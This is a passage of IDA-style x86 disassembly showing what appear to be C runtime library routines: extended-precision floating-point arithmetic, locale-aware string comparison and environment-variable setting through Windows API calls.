		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41FFD0
		cmp	cx, 7FFFh
		jnb	loc_41FFD0
		cmp	dx, 0BFFDh
		ja	loc_41FFD0
		cmp	dx, 3FBFh
		ja	short loc_41FE39
		xor	eax, eax
		jmp	short loc_41FE73
; ---------------------------------------------------------------------------


loc_41FE39:				; CODE XREF: sub_41FDD0+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41FE5B
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41FE5B
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41FE5D
		cmp	[esi], eax
		jnz	short loc_41FE5D
		jmp	loc_41FFCA
; ---------------------------------------------------------------------------


loc_41FE5B:				; CODE XREF: sub_41FDD0+71j
					; sub_41FDD0+79j
		xor	eax, eax


loc_41FE5D:				; CODE XREF: sub_41FDD0+80j
					; sub_41FDD0+84j
		cmp	cx, ax
		jnz	short loc_41FE80
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41FE80
		cmp	[ebx+4], eax
		jnz	short loc_41FE80
		cmp	[ebx], eax
		jnz	short loc_41FE80


loc_41FE73:				; CODE XREF: sub_41FDD0+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41FFEB
; ---------------------------------------------------------------------------


loc_41FE80:				; CODE XREF: sub_41FDD0+90j
					; sub_41FDD0+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41FE90:				; CODE XREF: sub_41FDD0+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41FEE4
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41FEAC:				; CODE XREF: sub_41FDD0+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41F266
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FED7
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41FED7:				; CODE XREF: sub_41FDD0+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41FEAC


loc_41FEE4:				; CODE XREF: sub_41FDD0+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41FE90
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41FF27


loc_41FF02:				; CODE XREF: sub_41FDD0+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41FF20
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F2E5
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FF02


loc_41FF20:				; CODE XREF: sub_41FDD0+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41FF60


loc_41FF27:				; CODE XREF: sub_41FDD0+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41FF60
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41FF40:				; CODE XREF: sub_41FDD0+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41FF49
		inc	[ebp+var_14]


loc_41FF49:				; CODE XREF: sub_41FDD0+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41F313
		dec	ebx
		pop	ecx
		jnz	short loc_41FF40
		cmp	[ebp+var_14], 0
		jz	short loc_41FF60
		or	byte ptr [ebp+var_24], 1


loc_41FF60:				; CODE XREF: sub_41FDD0+155j
					; sub_41FDD0+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41FF77
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41FFAC


loc_41FF77:				; CODE XREF: sub_41FDD0+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41FFA9
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41FFA4
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41FF9E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41FFAC
; ---------------------------------------------------------------------------


loc_41FF9E:				; CODE XREF: sub_41FDD0+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41FFAC
; ---------------------------------------------------------------------------


loc_41FFA4:				; CODE XREF: sub_41FDD0+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41FFAC
; ---------------------------------------------------------------------------


loc_41FFA9:				; CODE XREF: sub_41FDD0+1ABj
		inc	[ebp+var_24+2]


loc_41FFAC:				; CODE XREF: sub_41FDD0+1A5j
					; sub_41FDD0+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41FFD0
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41FFCA:				; CODE XREF: sub_41FDD0+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41FFEB
; ---------------------------------------------------------------------------


loc_41FFD0:				; CODE XREF: sub_41FDD0+42j
					; sub_41FDD0+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41FFEB:				; CODE XREF: sub_41FDD0+ABj
					; sub_41FDD0+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FDD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFF0	proc near		; CODE XREF: sub_41F407+440p
					; sub_41F8D8+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43AA10
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_420069
		jge	short loc_420018
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43AB70
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_420018:				; CODE XREF: sub_41FFF0+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_420023
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_420023:				; CODE XREF: sub_41FFF0+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_420069
		push	esi
		push	edi


loc_42002A:				; CODE XREF: sub_41FFF0+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_420062
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_420055
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_420055:				; CODE XREF: sub_41FFF0+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41FDD0
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_420062:				; CODE XREF: sub_41FFF0+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_42002A
		pop	edi
		pop	esi


loc_420069:				; CODE XREF: sub_41FFF0+14j
					; sub_41FFF0+36j
		pop	ebx
		leave
		retn
sub_41FFF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42006C	proc near		; CODE XREF: sub_41FCDD+5Ep
					; sub_420548+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_420079
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420079:				; CODE XREF: sub_42006C+7j
		push	dword_46CA64
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_46CC84
		call	sub_420119
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4200A6
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4200A6:				; CODE XREF: sub_42006C+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42006C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200AB	proc near		; CODE XREF: sub_41FCDD+1Ep
					; sub_4203C1+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_46B664
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_42010C
		mov	ebx, dword_421138


loc_4200C4:				; CODE XREF: sub_4200AB+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_420114
		push	ebp
		call	sub_415BE9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_420114
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_420114
		push	edi
		push	[esp+18h+var_4]
		call	sub_4203C1
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4200C4


loc_42010C:				; CODE XREF: sub_4200AB+11j
		xor	eax, eax


loc_42010E:				; CODE XREF: sub_4200AB+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420114:				; CODE XREF: sub_4200AB+29j
					; sub_4200AB+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_42010E
sub_4200AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420119	proc near		; CODE XREF: sub_42006C+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C50
		push	offset sub_41D6A4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_46B920, ebx
		push	1
		pop	edi
		jnz	short loc_42018C
		push	edi
		mov	eax, offset dword_4218A0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_421008	; CompareStringW
		test	eax, eax
		jz	short loc_420169
		mov	dword_46B920, edi
		jmp	short loc_42018C
; ---------------------------------------------------------------------------


loc_420169:				; CODE XREF: sub_420119+46j
		push	edi
		mov	eax, offset dword_43B198
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42100C	; CompareStringA
		test	eax, eax
		jz	loc_420382
		mov	dword_46B920, 2


loc_42018C:				; CODE XREF: sub_420119+31j
					; sub_420119+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_4201A3
		push	esi
		push	[ebp+arg_8]
		call	sub_420396
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_4201A3:				; CODE XREF: sub_420119+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_4201B8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_420396
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_4201B8:				; CODE XREF: sub_420119+8Dj
		mov	eax, dword_46B920
		cmp	eax, 2
		jnz	short loc_4201DD
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42100C	; CompareStringA
		jmp	loc_420384
; ---------------------------------------------------------------------------


loc_4201DD:				; CODE XREF: sub_420119+A7j
		cmp	eax, edi
		jnz	loc_420382
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4201F2
		mov	eax, dword_46B6DC
		mov	[ebp+arg_18], eax


loc_4201F2:				; CODE XREF: sub_420119+CFj
		cmp	esi, ebx
		jz	short loc_4201FF
		cmp	[ebp+arg_14], ebx
		jnz	loc_420297


loc_4201FF:				; CODE XREF: sub_420119+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_42020C


loc_420204:				; CODE XREF: sub_420119+13Cj
					; sub_420119+16Dj
		push	2


loc_420206:				; CODE XREF: sub_420119+146j
		pop	eax
		jmp	loc_420384
; ---------------------------------------------------------------------------


loc_42020C:				; CODE XREF: sub_420119+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_420218


loc_420211:				; CODE XREF: sub_420119+151j
					; sub_420119+159j ...
		mov	eax, edi
		jmp	loc_420384
; ---------------------------------------------------------------------------


loc_420218:				; CODE XREF: sub_420119+F6j
		cmp	esi, edi
		jg	short loc_42025D
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_421198	; GetCPInfo
		test	eax, eax
		jz	loc_420382
		cmp	esi, ebx
		jle	short loc_420261
		cmp	[ebp+var_3C], 2
		jb	short loc_42025D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42025D


loc_420243:				; CODE XREF: sub_420119+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42025D
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_420257
		cmp	cl, dl
		jbe	short loc_420204


loc_420257:				; CODE XREF: sub_420119+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420243


loc_42025D:				; CODE XREF: sub_420119+101j
					; sub_420119+120j ...
		push	3
		jmp	short loc_420206
; ---------------------------------------------------------------------------


loc_420261:				; CODE XREF: sub_420119+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_420297
		cmp	[ebp+var_3C], 2
		jb	short loc_420211
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_420211


loc_420274:				; CODE XREF: sub_420119+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_420211
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42028C
		cmp	cl, dl
		jbe	loc_420204


loc_42028C:				; CODE XREF: sub_420119+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_420274
		jmp	loc_420211
; ---------------------------------------------------------------------------


loc_420297:				; CODE XREF: sub_420119+E0j
					; sub_420119+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_420382
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4202E6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4202E6:				; CODE XREF: sub_420119+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_420382
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_421064
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420382
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_420382
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415B90
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420351
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_420351:				; CODE XREF: sub_420119+224j
		cmp	edi, ebx
		jz	short loc_420382
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420382
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421008	; CompareStringW
		jmp	short loc_420384
; ---------------------------------------------------------------------------


loc_420382:				; CODE XREF: sub_420119+63j
					; sub_420119+C6j ...
		xor	eax, eax


loc_420384:				; CODE XREF: sub_420119+BFj
					; sub_420119+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420119	endp


; =============== S U B	R O U T	I N E =======================================



sub_420396	proc near		; CODE XREF: sub_41C639+81p
					; sub_420119+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4203B3


loc_4203A6:				; CODE XREF: sub_420396+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4203B3
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4203A6


loc_4203B3:				; CODE XREF: sub_420396+Ej
					; sub_420396+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4203BE
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4203BE:				; CODE XREF: sub_420396+21j
		mov	eax, edx
		retn
sub_420396	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4203C1	proc near		; CODE XREF: sub_4200AB+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_420425
		push	3Dh
		push	[ebp+arg_0]
		call	sub_420607
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_420425
		cmp	[ebp+arg_0], esi
		jz	short loc_420425
		mov	eax, dword_46B65C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_46B660
		jnz	short loc_42040B
		push	eax
		call	sub_4205A0
		pop	ecx
		mov	dword_46B65C, eax


loc_42040B:				; CODE XREF: sub_4203C1+3Cj
		cmp	eax, edi
		jnz	short loc_420463
		cmp	[ebp+arg_4], edi
		jz	short loc_42042D
		cmp	dword_46B664, edi
		jz	short loc_42042D
		call	sub_4200AB
		test	eax, eax
		jz	short loc_420463


loc_420425:				; CODE XREF: sub_4203C1+Dj
					; sub_4203C1+22j ...
		or	eax, 0FFFFFFFFh


loc_420428:				; CODE XREF: sub_4203C1+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42042D:				; CODE XREF: sub_4203C1+51j
					; sub_4203C1+59j
		cmp	ebx, edi
		jnz	loc_420541
		push	4
		call	sub_415BE9
		cmp	eax, edi
		pop	ecx
		mov	dword_46B65C, eax
		jz	short loc_420425
		mov	[eax], edi
		cmp	dword_46B664, edi
		jnz	short loc_420463
		push	4
		call	sub_415BE9
		cmp	eax, edi
		pop	ecx
		mov	dword_46B664, eax
		jz	short loc_420425
		mov	[eax], edi


loc_420463:				; CODE XREF: sub_4203C1+4Cj
					; sub_4203C1+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_46B65C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_420548
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4204C3
		cmp	dword ptr [edi], 0
		jz	short loc_4204C3
		test	ebx, ebx
		jz	short loc_4204BB
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415C9B
		pop	ecx


loc_420495:				; CODE XREF: sub_4203C1+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_4204A5
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_420495
; ---------------------------------------------------------------------------


loc_4204A5:				; CODE XREF: sub_4203C1+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41737F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4204F5
		jmp	short loc_4204F0
; ---------------------------------------------------------------------------


loc_4204BB:				; CODE XREF: sub_4203C1+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4204F5
; ---------------------------------------------------------------------------


loc_4204C3:				; CODE XREF: sub_4203C1+BDj
					; sub_4203C1+C2j
		test	ebx, ebx
		jnz	short loc_420541
		test	esi, esi
		jge	short loc_4204CD
		neg	esi


loc_4204CD:				; CODE XREF: sub_4203C1+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41737F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420425
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4204F0:				; CODE XREF: sub_4203C1+F8j
		mov	dword_46B65C, eax


loc_4204F5:				; CODE XREF: sub_4203C1+F6j
					; sub_4203C1+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_420541
		push	[ebp+arg_0]
		call	sub_415B10
		inc	eax
		inc	eax
		push	eax
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_420541
		push	[ebp+arg_0]
		push	esi
		call	sub_415A20
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_421004	; SetEnvironmentVariableA
		push	esi
		call	sub_415C9B
		pop	ecx


loc_420541:				; CODE XREF: sub_4203C1+6Ej
					; sub_4203C1+104j ...
		xor	eax, eax
		jmp	loc_420428
sub_4203C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420548	proc near		; CODE XREF: sub_4203C1+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_46B65C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_420583
		mov	edi, [esp+8+arg_4]


loc_42055A:				; CODE XREF: sub_420548+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42006C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420579
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_420593
		test	al, al
		jz	short loc_420593


loc_420579:				; CODE XREF: sub_420548+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42055A


loc_420583:				; CODE XREF: sub_420548+Cj
		mov	eax, esi
		sub	eax, dword_46B65C
		sar	eax, 2
		neg	eax


loc_420590:				; CODE XREF: sub_420548+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420593:				; CODE XREF: sub_420548+2Bj
					; sub_420548+2Fj
		mov	eax, esi
		sub	eax, dword_46B65C
		sar	eax, 2
		jmp	short loc_420590
sub_420548	endp


; =============== S U B	R O U T	I N E =======================================



sub_4205A0	proc near		; CODE XREF: sub_4203C1+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_4205AF
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4205AF:				; CODE XREF: sub_4205A0+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4205C1


loc_4205B7:				; CODE XREF: sub_4205A0+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4205B7


loc_4205C1:				; CODE XREF: sub_4205A0+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4205E2
		push	9
		call	sub_417C0E
		pop	ecx


loc_4205E2:				; CODE XREF: sub_4205A0+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4205E6:				; CODE XREF: sub_4205A0+5Bj
		test	eax, eax
		jz	short loc_4205FD
		push	eax
		add	ebx, 4
		call	sub_42067A
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4205E6
; ---------------------------------------------------------------------------


loc_4205FD:				; CODE XREF: sub_4205A0+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_4205A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420607	proc near		; CODE XREF: sub_4203C1+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_46CA7C, 0
		jnz	short loc_420622
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416F20
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420622:				; CODE XREF: sub_420607+Aj
		mov	ecx, [ebp+arg_0]


loc_420625:				; CODE XREF: sub_420607+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_420668
		movzx	edx, al
		test	byte_46CB81[edx], 4
		jz	short loc_420654
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42065F
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_420663
		jmp	short loc_42065C
; ---------------------------------------------------------------------------


loc_420654:				; CODE XREF: sub_420607+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_420668


loc_42065C:				; CODE XREF: sub_420607+4Bj
		inc	ecx
		jmp	short loc_420625
; ---------------------------------------------------------------------------


loc_42065F:				; CODE XREF: sub_420607+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420663:				; CODE XREF: sub_420607+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420668:				; CODE XREF: sub_420607+25j
					; sub_420607+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_420607	endp


; =============== S U B	R O U T	I N E =======================================



sub_42067A	proc near		; CODE XREF: sub_4098D4+21p
					; sub_4205A0+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4206A1
		push	esi
		call	sub_415B10
		inc	eax
		push	eax
		call	sub_415BE9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4206A1
		push	esi
		push	eax
		call	sub_415A20
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


